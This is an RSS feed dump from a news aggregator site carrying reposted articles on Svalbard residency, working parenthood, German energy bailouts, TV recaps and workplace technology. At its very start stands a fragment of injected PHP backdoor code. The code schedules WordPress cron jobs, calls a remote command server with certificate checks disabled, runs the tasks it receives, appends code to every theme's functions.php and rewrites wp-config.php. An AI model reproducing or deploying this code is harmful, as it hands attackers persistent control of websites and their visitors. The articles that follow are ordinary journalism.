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}elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; 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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); work – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 24 Sep 2022 14:01:16 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png work – Brief News https://briefnews.eu 32 32 What it’s like to work in Svalbard, a group of Arctic islands where anyone can live visa-free — as long as you don’t run out of money and abide by its unique set of rules https://briefnews.eu/what-its-like-to-work-in-svalbard-a-group-of-arctic-islands-where-anyone-can-live-visa-free-as-long-as-you-dont-run-out-of-money-and-abide-by-its-unique-set-of-rules/ https://briefnews.eu/what-its-like-to-work-in-svalbard-a-group-of-arctic-islands-where-anyone-can-live-visa-free-as-long-as-you-dont-run-out-of-money-and-abide-by-its-unique-set-of-rules/#respond Sat, 24 Sep 2022 14:01:16 +0000 https://briefnews.eu/what-its-like-to-work-in-svalbard-a-group-of-arctic-islands-where-anyone-can-live-visa-free-as-long-as-you-dont-run-out-of-money-and-abide-by-its-unique-set-of-rules/ Longyearbyen, the largest city in Svalbard on May 2, 2022.
Longyearbyen, the largest city in Svalbard on May 2, 2022.

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  • Svalbard, a Norwegian archipelago by the North Pole, is one of the world's only visa-free zones. 
  • But residents who can't support themselves or find housing can be expelled by the governor.
  • Insider spoke with four locals (one of whom was deported) about what it's like to work in Svalbard.

In a world where your passport dictates where you can live, travel, and work, there's a semi-frozen haven open to citizens of all countries — no complicated visa or employment permits required. 

Svalbard, a Norwegian archipelago 500 miles from the North Pole, is home to the world's northernmost human settlement. The 2,300 residents of the capital, Longyearbyen, include people of over 40 different nationalities, few of whom are "from" Svalbard, per say. 

That's because you're not allowed to give birth on Svalbard — one of the many strange rules that govern existence on the remote collection of islands covered by ice. 

There are surprises of course, whom the town endearingly calls "Svalbard babies" even when they're grown, Cecilia Blomdahl, a popular content creator based in Longyearbyen, said in an interview with Insider. 

Among Svalbard's other odd rules left over from its days as a coal mining town include a monthly alcohol limit (24 beers, half a bottle of fortified wine, and one bottle of liquor), and a ban on cats to protect the bird population. 

But the most important rule of all: Don't run out of money. And certainly don't find yourself without a home. 

Cecilia Blomdahl's cabin in Longyearbyen, one of the few homes of its kind on the island.
Cecilia Blomdahl's cabin in Longyearbyen, one of the few homes of its kind on the island.

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While the Svalbard treaty of 1920 permits anyone to live and work on the archipelago indefinitely, its open borders come with an asterisk: You must have enough money to support yourself and a roof over your head, or risk expulsion from the territory.

"You can stay here for as long as you can take care of yourself," Blomdahl said. "That means how you get to work, how you live, your housing — nothing will be provided for you."

Despite being a sovereignty of Norway, Svalbard employees pay an 8% income tax and local businesses contribute zero taxes toward the country's national insurance program (the mainland's current tax rate is 14% and 22% respectively). As a result, there are no retirement homes, public transport, homeless shelters, unemployment benefits, or really any social safety net you can think of. 

Nobody understands this trade off quite like Mark Sabbatini, the founder and editor of IcePeople, "the world's northernmost alternative newspaper," who was kicked off Svalbard in 2021 after living in Longyearbyen for over a decade. 

He moved to the island from the US in 2008 with around $ 1 million dollars in the bank and ambitions to launch an English-language newspaper, Sabbatini told Insider. 

Mark Sabbatini, founder and editor of IcePeople, the "world's northernmost alternative newspaper."
Mark Sabbatini, founder and editor of IcePeople, the "world's northernmost alternative newspaper."

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While running IcePeople, two of Sabbatini's apartments were condemned due to environmental issues he said were exacerbated by the area's rapidly warming climate. The first was built on top of thawing permafrost, and the second was located in a newly determined avalanche zone. 

"At that point, I didn't have a whole lot of money and it was a big scramble every month to scrounge up stuff," he said. "I was begging, borrowing — not stealing, but pretty close."

After squatting in a friend's cabin during the pandemic, Sabbatini succumbed to his last resort: sleeping at the campground where a guide was killed in a polar bear attack the year before. That's when the governor gave him the boot. 

"I was horribly miserable, but it was absolutely the right decision," Sabbatini, who now works at a local paper in Alaska, recalled.

"It's a very fair system. Your taxes are incredibly low, but the trade off is you get no social support," he continued. "If you're not paying for that system, why should you benefit from it?"

Cafe huskies Svalbard
"The planning of the schedule for the dog employees has been much more difficult than the human one," Fiala said.

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Thanks to the local housing crisis, it's easier to find work on Svalbard than a place to live. Despite 2.5 months of complete darkness and below-freezing temperatures, the capital of Longyearbyen is a great place to be an entrepreneur, according to Martin Fiala, one of the co-founders of Café Huskies.

"If you have some idea, you're probably the only one who's doing it [in Svalbard]" he said. "I think if we set this up in a regular city where there's five other coffee places or shops on the same block, I don't think we'd be as successful."

But the area's remoteness also creates a separate set of challenges, Fiala explained, especially when it comes to shipping in goods from the mainland.

"If the coffee machine breaks, no one here can fix it and it would take weeks for us to get another one," he said, adding that "there's one guy in town who knows how to fix an industrial dishwasher."

"As soon as we save up some more money, we want to buy or rent another one and have it as a spare," he told Insider. "If there's ever a moon colony set up, I think we'd be perfect for it. It's really like a space station here."

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Martin Fiala and his dog, Tequila: "Most of my job is to just to hike with my dog in like mountains. The price to pay is that it's exhausting and chaotic, but that's pretty awesome," Fiala told Insider.

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Fiala and his co-founders all have second jobs, which made the launch of Café Huskies less of a financial risk. He studied architecture but currently works as a nature guide — one of many professionals in the local tourist economy with hidden passions.

"Here, in tourism, you have a lot of people working in reception, guiding, driving a truck," he told Insider. "But they're also an economist, a chemist, a photographer."

Why do people of so many different backgrounds and careers continue flocking to one of the world's most remote towns? One answer, according to Fiala, is that the extremity of life in Svalbard serves as a "catalyst" for both the best and worst qualities of humans. 

"If you're depressed and you have a drinking problem and you come here, you'll probably just end up just drinking through the winter," he explained. "But if you're trying to finish the book, you're just going to do it. Life here gets dialed up." 

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]]> https://briefnews.eu/what-its-like-to-work-in-svalbard-a-group-of-arctic-islands-where-anyone-can-live-visa-free-as-long-as-you-dont-run-out-of-money-and-abide-by-its-unique-set-of-rules/feed/ 0 I spent years writing about women at work. Then I had a baby — and an existential crisis. https://briefnews.eu/i-spent-years-writing-about-women-at-work-then-i-had-a-baby-and-an-existential-crisis/ https://briefnews.eu/i-spent-years-writing-about-women-at-work-then-i-had-a-baby-and-an-existential-crisis/#respond Sun, 18 Sep 2022 10:06:31 +0000 https://briefnews.eu/i-spent-years-writing-about-women-at-work-then-i-had-a-baby-and-an-existential-crisis/ Writing about the challenges of working parenthood didn't fully prepare the author for the transition. The author is not pictured.
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  • I'm a careers-and-leadership reporter and I often write about women's experiences at work.
  • When I had a baby, I thought I'd be prepared for the transition to working parenthood. I wasn't.
  • It's challenging to reconcile my personal and professional identities, and I often feel I'm failing.

My husband and I were having a late dinner on our front patio, huddled over a staticky baby monitor, when I told him I wasn't sure about going back to work.

Our son was two months old. That meant it had been roughly a year — if you count a nearly 10-month-long pregnancy — since I'd been truly alone.

The baby and I spent the whole day, every day, together. I would nurse him for what seemed like hours, then he'd fall asleep and I'd hold him because he'd scream when I tried transferring him to his Mamaroo chair. At night, I'd hear him fussing on the monitor and half-consciously reach for him next to me, then panic when I couldn't feel him anywhere until I remembered he was in his bassinet.

In July, I was due to return to work after a four-month maternity leave. Because my job allowed for remote work, I'd arranged for a nanny who had worked for a family friend to watch my son during the day. But I didn't see how I'd be able to let someone else take care of him for that many hours at a time. 

Friends who had toddler-aged kids had told me I'd feel differently by the end of my leave, that I'd be more ready to start working again and to spend time away from the baby. Instead, I told my husband that night on the patio that I was rethinking my decision to start working again.

My husband reminded me of what I'd told him — many times — in the years before we had a kid. I wasn't planning to be a stay-at-home mom; I wanted to keep working. I was afraid to have motherhood subsume my identity. But it had taken four months of maternity leave to undo everything I thought I knew about myself as a professional.

"Now I feel differently," I told my husband. I wanted to be the one to attend to our son's cries, to take him to the park, to sing silly songs while he squirmed on the changing table. I couldn't do any of that, I told my husband, if I had another — paying — job.

The logistical challenges of working parenthood are only the beginning

Early on in the pandemic, I wrote regularly about the challenges of being a working parent, and in particular a working mother. I knew, based on talking with parents and experts, that it could be hard to balance the demands of your job with your kid's daycare schedule and that managers are often biased to see women as less promotable and less dedicated to their careers once they have children.

While writing a book about molding your work life to suit your interests and lifestyle, I spoke with many people about how becoming a parent had changed their approaches to work. Some stuck with a bad job because it paid their family's bills or tried to change careers because having a kid made them want to pursue something more impactful.

So when my husband and I decided to start a family, I assumed that all this knowledge would prepare me for the transition. But I didn't realize that beyond the logistical challenges, there was existential torture. I'm now trying to become the parent I think my kid needs while, at the same time, trying to squeeze myself back into the shape of the professional I think my colleagues are expecting me to be.

I feel like an impostor professional — and parent

When I returned to work, taking my therapist's suggestion to give it a chance, the transition was in many ways smoother than I'd anticipated. My managers gave me time to settle into my new work and home lives before I started publishing anything new. My coworkers asked excitedly about the baby's latest developmental milestones.

Still, I felt a nagging shadow of impostor syndrome, except instead of feeling like I was a fraud at my job, I worried that I'd eventually be exposed as — what? A mom who was relieved to do a few hours of knowledge work because it meant a reprieve from lifting and bouncing and picking up fallen toys with her toes? A professional who sometimes felt like she'd rather be hugging her kid than answering emails? Much of my transition to working parenthood has been like this, an ongoing experiment in self-flagellation and feeling alone.

I'm writing now from the pull-out couch in my son's room, the one on which I've often fallen asleep murmuring "shhh" at 3 a.m. I can hear my son playing happily downstairs with our doting nanny. I feel patently ridiculous sitting up here writing about how hard I find working motherhood when I have the extreme privilege of full-time childcare, a spacious home, and family nearby — as well as a job that allows me to work slumped over a pillow in ripped leggings.

I'm ashamed, too, that the trouble is solely with me. For all the time I spend questioning whether this setup — me working from home, my husband working from the office, a nanny taking care of our son for part of the day — is the best for our family, my son appears perfectly content most of the time. Not to mention that even if staying home would assuage some of my guilt, giving up my full-time salary would make it harder for me to offer my son all the opportunities I'd like to. 

This self-deprecating cycle has slowed, but hasn't stopped over the last two months I've been back at work. I find the only respite in doing whatever I'm supposed to be doing at the moment: reporting a story, responding to Slacks, feeding my son, laundering a load of onesies, knowing that eventually my thoughts will catch up with me, but that right now I'm OK.

Lying in front of the TV after my son has gone to bed, I text with girlfriends. I vent, I complain. I learn that my experience is not uncommon. "It gets easier," one tells me. "I promise." I'm not sure I believe her. But I've got a story to write and bottles to wash and, somewhere, the wisdom to know that as far as I may feel from whoever I was before, I am not alone.

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]]> https://briefnews.eu/i-spent-years-writing-about-women-at-work-then-i-had-a-baby-and-an-existential-crisis/feed/ 0 For virus tracking, wastewater is liquid gold. Scientists hope that work isn’t flushed away https://briefnews.eu/for-virus-tracking-wastewater-is-liquid-gold-scientists-hope-that-work-isnt-flushed-away/ https://briefnews.eu/for-virus-tracking-wastewater-is-liquid-gold-scientists-hope-that-work-isnt-flushed-away/#respond Sat, 17 Sep 2022 14:34:25 +0000 https://briefnews.eu/for-virus-tracking-wastewater-is-liquid-gold-scientists-hope-that-work-isnt-flushed-away/ WASTEWATER TESTING

For more than two years, research teams across the country — and around the world — have been using human waste to monitor rising and falling SARS-CoV-2 levels. The same sewage surveillance systems can track pathogens from polio to monkeypox. So what’s the future of wastewater testing?

]]> https://briefnews.eu/for-virus-tracking-wastewater-is-liquid-gold-scientists-hope-that-work-isnt-flushed-away/feed/ 0 Seeking nominations for the top brands for micro influencers to work with https://briefnews.eu/seeking-nominations-for-the-top-brands-for-micro-influencers-to-work-with/ https://briefnews.eu/seeking-nominations-for-the-top-brands-for-micro-influencers-to-work-with/#respond Wed, 14 Sep 2022 15:27:20 +0000 https://briefnews.eu/seeking-nominations-for-the-top-brands-for-micro-influencers-to-work-with/ Emma Cortes smiling in front of buildings with foot kicked
Emma Cortes is a full-time micro influencer based in Seattle.

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  • Micro influencers have fewer than 100,000 followers on a given social media platform. 
  • We want to hear from you on the top brands these creators should work with.
  • Submit your nomination through this google form (or below) by September 21, 2022.

Despite the economic downturn, influencer marketing is booming — it's expected to become a $ 5 billion industry by the end of this year, according to an August survey by Insider Intelligence.

Companies have increased their marketing budgets to 9.5% of their total revenue this year, compared to 6.4% in 2021, according to a May survey by Gartner. And for some brands, this increased budget means more dollars to invest in the creator economy.

While some companies still choose to work with influencers who have millions of followers, indicating a much wider reach, a number of brands are now seeing the benefits of working with micro influencers, or influencers with between 10,000 and 100,000 followers, according to a report released earlier this year by the influencer-marketing agency HypeAuditor.

One reason why micro influencers appeal to brands is because of the lower cost, according to experts like Emily Fonda, co-founder of talent management firm The Sociable Society.

"They will want to work with cheaper creators to belt out that cost per acquisition, rather than throwing all of their budget into one big celebrity," Fonda previously told Insider.

Micro influencers also have a very high engagement rate compared to other types of influencers. Last year, data analysis website Marketing Charts reported that micro influencers had the highest post-engagement rates of all influencer types on Instagram (3.86%), YouTube (1.63%), and TikTok (17.96%). 

Due to these factors and more, some brands, such as Coca-Cola and Sephora, have even established robust micro influencer programs, because they see the value of working with these kinds of creators.

We are seeking nominations from readers — especially influencers, marketing agencies, and creator economy experts— on the best brands for micro influencers to work with based on pay, availability for work, and overall experience, among other factors.

The list of top brands will be determined by Insider based on a mix of our reporting and the nominations that we receive. 

Please submit your nominations through this form by September 21, 2022 or below:

 

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]]> https://briefnews.eu/seeking-nominations-for-the-top-brands-for-micro-influencers-to-work-with/feed/ 0 Germany commits $67 billion to aid energy companies hurt by soaring prices as European countries work to combat crisis https://briefnews.eu/germany-commits-67-billion-to-aid-energy-companies-hurt-by-soaring-prices-as-european-countries-work-to-combat-crisis/ https://briefnews.eu/germany-commits-67-billion-to-aid-energy-companies-hurt-by-soaring-prices-as-european-countries-work-to-combat-crisis/#respond Tue, 13 Sep 2022 20:22:18 +0000 https://briefnews.eu/germany-commits-67-billion-to-aid-energy-companies-hurt-by-soaring-prices-as-european-countries-work-to-combat-crisis/ A person's silhouette appears near cooling towers at Uniper's coal-fired power plant in Germany after sunset.
Cooling towers at Uniper's coal-fired power plant in Germany.

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  • Germany pledged €67 billion ($ 66.9 billion) in funding to assist utility companies, the FT reported.
  • The money will be redeployed from a COVID-19 bailout fund established to help companies avoid insolvency.
  • Gas importers have been forced to pay higher prices as Russia reduces its flow of natural gas to Europe. 

Germany has pledged €67 billion ($ 66.9 billion) in funding to assist utility companies struggling to deal with surging energy prices, the Financial Times reported Tuesday, underscoring concerns in Europe about insolvencies potentially rippling throughout the region. 

Germany's state development bank KfW will be able to deploy billions of euros in loan guarantees and liquidity assistance to energy companies, officials told the FT. The money will be redeployed from a COVID-19 bailout fund that was established in 2020 to help companies stave off insolvencies as lockdown mandates forced them to halt business activities. 

European gas importers have been forced to pay higher prices as Russia reduces its natural gas flows into Europe. The Kremlin recently said Russia will not restart flows of gas supplies through the Nord Stream 1 pipeline until the "collective West" lifts sanctions against Moscow for its invasion of Ukraine. The Nord Stream 1 pipeline runs under the Baltic Sea into northeastern Germany. 

Germany has already made moves in aiding the energy sector. German utility giant Uniper was granted a government bailout now totaling €19 billion, the FT reported, and gas importer VNG asked for government help last week. 

Earlier this month, Sweden and Finland, according to Bloomberg, created €33 billion in emergency liquidity facilities to aid struggling utility companies navigating turbulent power markets. 

European Union energy ministers will hold an emergency meeting on September 30 as part of steps to approve proposals designed to drag down surging gas and power prices sweeping throughout the region.

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]]> https://briefnews.eu/germany-commits-67-billion-to-aid-energy-companies-hurt-by-soaring-prices-as-european-countries-work-to-combat-crisis/feed/ 0 SEAL Team Recap: Did Bravo Work Out the Kinks in Time to Save Ray? https://briefnews.eu/seal-team-recap-did-bravo-work-out-the-kinks-in-time-to-save-ray/ https://briefnews.eu/seal-team-recap-did-bravo-work-out-the-kinks-in-time-to-save-ray/#respond Thu, 17 Dec 2020 03:46:35 +0000 https://briefnews.eu/seal-team-recap-did-bravo-work-out-the-kinks-in-time-to-save-ray/ This Wednesday in the SEAL Team fall finale, it was all hands on deck — and we do mean all — when Ray went missing after the suicide bombing of the Tunisian cafe.

In the immediate wake of last week’s shocking explosion, we saw the charred and crumbled cafe, and Ray’s body on the floor behind the fallen table at which he had and State Dept. colleague Olivia Green been seated. And then a figure approached, nudging his body… which was still alive, we saw.

SEAL TEAM NAIMABack home, all they knew was that Ray was missing, and Jason personally delivered the news to Naima, at the family’s new home. Soon enough, all of Bravo descended upon the Perrys, as did Natalie and a most welcome Stella (who apparently still grabs the occasional coffee with Ray’s wife). While congregated, Sonny and Thirty got into it a bit, each blaming the other for Bravo being grounded. But it wasn’t long until Bravo got buzzed to report in, leaving Jason and Clay behind. Jason, though, was resolved to play some role in the search for Ray, so he brusquely walked away from Natalie and set off to see what he could make happen.

Following some awkward small talk about Stella’s failed attempt at another go with Clay (back when he was just starting out with Rebecca), she observed that he wasn’t spinning up with the others. He explained in no detail that he had been suspended from operating, and Stella gave him the pep talk he really needed.

Back at command, Davis laid out the intel on where Ray might be and who might have him, and then, since Bravo isn’t approved to operate, each team member was assigned to Alpha, Charlie or Foxtrot. Jason meanwhile stormed into Lindell’s office, insisting that 1) Bravo regroup for this rescue mission, 2) led by him and C) with Clay on the team. Lindell gave the OK on the first two, but was iffy on the third — until Jason pressed a bit harder, and soon enough the reconstituted Bravo Team was spinning up with the others. Jason, though, made clear to Sonny that this was a one-off for him, and that when it comes to leading Bravo, maybe Sonny should step up sometime.

SEAL Team Bravo RayOnce in Tunisia, Jason strongly questioned a plan to breach one location before the second, saying it’d be wiser to hit them both at the same time. Bravo thus took the second possible location, even though it meant having no sat cover. Alas, they were spotted as they drove toward the building, and a firefight soon ensued, with the baddies having the higher ground/advantage shooting from the windows. Ray, meanwhile, was indeed inside the second location, and once he saw everyone start to scramble, he wrenched himself free from the wall he’d been shackled to.

But just as Bravo turned the tables and seized an opportunity to breach, a fleeing Ray was clotheslined in a hallway, bagged, and dragged to an SUV parked outside. As such, Bravo found no one inside the building — though later Davis produced video from a found cell phone that showed Ray had been there, and they just missed him. And now, with his captors poised to trade the valuable Westerner to the highest bidder, there was no knowing where and with whom Ray would end up….

What did you think of the fall finale, “Shockwave”? And how awesome was it to see Stella back? (Rebecca who?) SEAL Team returns Wednesday, Jan. 13.

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]]> https://briefnews.eu/seal-team-recap-did-bravo-work-out-the-kinks-in-time-to-save-ray/feed/ 0 ‘It doesn’t work!’ Piers Morgan slams Sadiq Khan over Covid test and trace failures https://briefnews.eu/it-doesnt-work-piers-morgan-slams-sadiq-khan-over-covid-test-and-trace-failures/ https://briefnews.eu/it-doesnt-work-piers-morgan-slams-sadiq-khan-over-covid-test-and-trace-failures/#respond Tue, 15 Dec 2020 09:21:16 +0000 https://briefnews.eu/it-doesnt-work-piers-morgan-slams-sadiq-khan-over-covid-test-and-trace-failures/

One wrote: “Not a huge fan of Khan but first time for a while I have heard some actual common sense spoken on national TV by a person in a position of authority, clear and precise no waffle.”

While a second shared: “I never agreed with Mr Khan. But for once this guy is spot on. You stick to your guns Mr mayor. I agree totally with all you have said on GMB. Respect to you Mr Mayor you are thinking of people’s lives and not the economy. @GMB.”

However, another added: “Sadiq Khan criticising Boris for not wanting to be making a political decision about Christmas whilst himself making statements that won’t jeopardise his own political career.”

“Sadiq Khan what a waste of time. So obviously blatantly bias regarding the lockdown in London he’s trying so hard to justify his views,” someone else wrote. 

Good Morning Britain airs weekdays on ITV at 6am.

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]]> https://briefnews.eu/it-doesnt-work-piers-morgan-slams-sadiq-khan-over-covid-test-and-trace-failures/feed/ 0 Phillip Schofield left ‘heartbroken’ in emotional This Morning chat with out of work actor https://briefnews.eu/phillip-schofield-left-heartbroken-in-emotional-this-morning-chat-with-out-of-work-actor/ https://briefnews.eu/phillip-schofield-left-heartbroken-in-emotional-this-morning-chat-with-out-of-work-actor/#respond Wed, 28 Oct 2020 11:47:09 +0000 https://briefnews.eu/phillip-schofield-left-heartbroken-in-emotional-this-morning-chat-with-out-of-work-actor/

Speaking about their career prospects at the start of the year, Anna-Jane admitted there was plenty in the pipeline but now it’s all been cancelled.

“Immediately just gone,” Anna-Jane told Holly and Phillip. “(Jobs) are few and far between concerts but they’re very lucrative and now they’re just gone – terrifying prospect .”

However, Anna-Jane wanted to remain in high spirits, telling the ITV pair: “We don’t want this to be a heartstrings story because we are very lucky – we work for a great company called Optimal.”

The company the two have worked for have allowed the pair to balance their work and home lives in this tricky time.

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]]> https://briefnews.eu/phillip-schofield-left-heartbroken-in-emotional-this-morning-chat-with-out-of-work-actor/feed/ 0 Transplant Sneak Peek: Bashir Impresses on His First Day of Work https://briefnews.eu/transplant-sneak-peek-bashir-impresses-on-his-first-day-of-work/ https://briefnews.eu/transplant-sneak-peek-bashir-impresses-on-his-first-day-of-work/#respond Sun, 06 Sep 2020 21:08:32 +0000 https://briefnews.eu/transplant-sneak-peek-bashir-impresses-on-his-first-day-of-work/

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First day jitters at work? Nah, Transplant‘s Dr. Bashir Hamed (played by Jett‘s Hamza Haq) displays nothing of the sort on Tuesday’s episode (NBC, 10/9c) of the transplanted Canadian medical drama.

In TVLine’s exclusive sneak peek from the installment, titled “Tell Me Who You Are,” Bashir — who was a doctor in Syria before coming to Canada with his little sister to escape the civil war in his homeland — arrives at York Memorial hospital to begin his residency anew. Not knowing that Dr. Jed Bishop (Agents of S.H.I.E.L.D.‘s John Hannah) hired Bashir as a doc, Dr. Magalie “Mags” LeBlanc (Being Erica‘s Laurence Leboeuf) is confused to see her former patient wandering the ER.

“You can’t just show up here and volunteer as a doctor,” Dr. LeBlanc says after Bashir quickly jumps in to help with a trauma. But then Dr. Bishop informs everyone that Bashir is just doing his job — and doing it better than the other docs, you could argue: He figures out the patient has a ruptured spleen without even needing a scan.

Press PLAY above to watch the video, then hit the comments with your thoughts. And if you missed the premiere, check out TVLine’s recap here.

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]]> https://briefnews.eu/transplant-sneak-peek-bashir-impresses-on-his-first-day-of-work/feed/ 0 How Technology Has Changed Workplaces https://briefnews.eu/how-technology-has-changed-workplaces/ https://briefnews.eu/how-technology-has-changed-workplaces/#respond Sun, 12 Jul 2020 12:11:28 +0000 https://briefnews.eu/?p=260432

Gone are the days when workplaces were plagued by a lot of paperwork, congested meeting rooms, hassles of being present, heavy expenses to reach out to the clients, and sluggish communication.

The influx of new technology has simplified and streamlined all these things. Technological advancements have facilitated businesses in operating their tasks easily and conducting well than ever before. This is especially true for small or medium organizations.

With the right tool, they can improve collaboration; promote remote work; stay on the top of work; keep tabs management, and makes outsourcing hassle-free.

This way, they can stay focused on their goals without being troubled by traditional limitations mentioned in the very first line of this blog.

Here we will walk through the ways technology has redefined the modern workplaces.

Creating a More Productive Environment:

No business can survive in today’s fast-paced world without having swiftness in their process. They should be equipped with high-speed internet, gadgets, tablets, phones, and cloud storage.

Such technologies play an important role in time management and on the run work culture, which in turn has let them perform faster and with more accuracy.

Accountability has also been improved as companies have access to monitoring apps. These solutions are useful in discouraging workplace distractions, especially the misuse of the internet and office devices, thereby keeping the workforce focused on work and increasing their productivity.

Enhancing Communication:

Technology has reshaped the workplace communication.

The use of smartphones, social networking sites, and apps has taken communication to the next level.

Communication has become fast, unified, and collaborative among the workforce. For example, a complete collaboration tool like Skype or WhatsApp lets you chat, text, or video chat or even video conference with your subordinates or managers.

You can share files and check deadlines, minimizing the need to be present at your workplace every time.

Minimizing the Risk of Security Incidents:

Previously, businesses struggled to stay on top of everything to prevent insider threats or corporate espionage. Today, there are security channels that are used in almost every single company to safeguard sensitive data.

It has also become easy to monitor employee’s activities and communication on their systems to ensure that they don’t involve in malicious practices or access harmful sites.

Knowing that they are always being monitored, employees are likely to play it safe, and even a rival company approaches them and offers a tempting reward for providing information, they turn down the offer as they know that the possibility of getting caught is high. With advanced security measures in place, stealing critical data hasn’t been easy like before.

Improving Collaboration:

One of the key factors that lead a business to success is whether or not their employees can work together as a team.

Working as a team lets employees be quicker and more effective in their work, as compared to people who handle the projects on their own.

Collaboration happens when more than one person works together towards achieving a common goal.

Technology has improved business collaboration to a great extent. Many tools let you meet your employees or bosses anywhere and at any time. This improved collaboration has introduced incredible flexibility in communication that keeps all people on the same page.

As employees can now communicate irrespective of their locations, this has benefitted teamwork and connecting between the people at work.

Collaboration also helps managers and leaders to stay in contact with their workforce and guide them better. Improved collaboration on projects has let the companies keep their customers or clients updated on the status of their project or progress.

Promoting Remote Working:

Flexible workspace has become the norm. More employees than ever before are working away from their workplace.

30 percent of the workforce is expected to work as either freelance, outsourced or remote workers who operate from the comfort of their home in upcoming years.

The advantages of working from home are evident for employees, namely avoiding the hassles of a daily commute and working to a schedule.

A business can save on computers and seating space by letting their employees work from home.

And technology plays an important role in work from home. For example, teleconferencing and collaboration tools can eliminate potential issues in working remotely. Mobile and cloud tools have simplified instant and remote access.

Driving Profitability:

Increasing profitability is a topmost business priority.

Due to sophisticated tools, companies can drive their profits as their innovations are proving to be more cost-effective. For example, some tools can automate mundane yet important tasks like creating paystubs, data entry, and reporting.

Account software generally creates pay stubs, thereby eliminating the need of hiring extra staff for it. Likewise, you can save your data over the cloud which means that you don’t need to buy flash drives or hard disks.

Consolidating Business Organization:

With tools like Project Management Software, you can keep your business organized and minimize the complications. These tools aid in building, reviewing, and assessing a task. They let you monitor your workforce activities.

Besides, you can set responsibility and deadlines for tasks assigned to people.

There are many cutting edge tools and products to improve workflow and increase efficiency. Project Management Software helps enhance the quality and quantity of work, and also keeps you alert every time a task gets derailed or goes off-track that can cause failure.

Technology helps maintain data flow, manage contacts, and organize employee records. It makes it easy for businesses to perform efficiently and effectively with minimal staff and helps to minimize overhead costs.

Bottom Line:

Technology has reshaped our workplaces. It has a huge impact on the way we work, communicate, and collaborate. Businesses are required to keep up with their pace in an efficient manner.

They should upgrade to the latest technology for improved productivity, profitability, and security. By incorporating new tools and solutions, you can streamline and simplify your business operations.

What do you think? How implementing new technology has helped you achieve goals? Let us know by commenting below!

 

Article Credit:

Helen Wilson is a marketing manager at Savah, a product that helps teams with an all-in-one platform for prototyping, design collaboration tools, and workflow.

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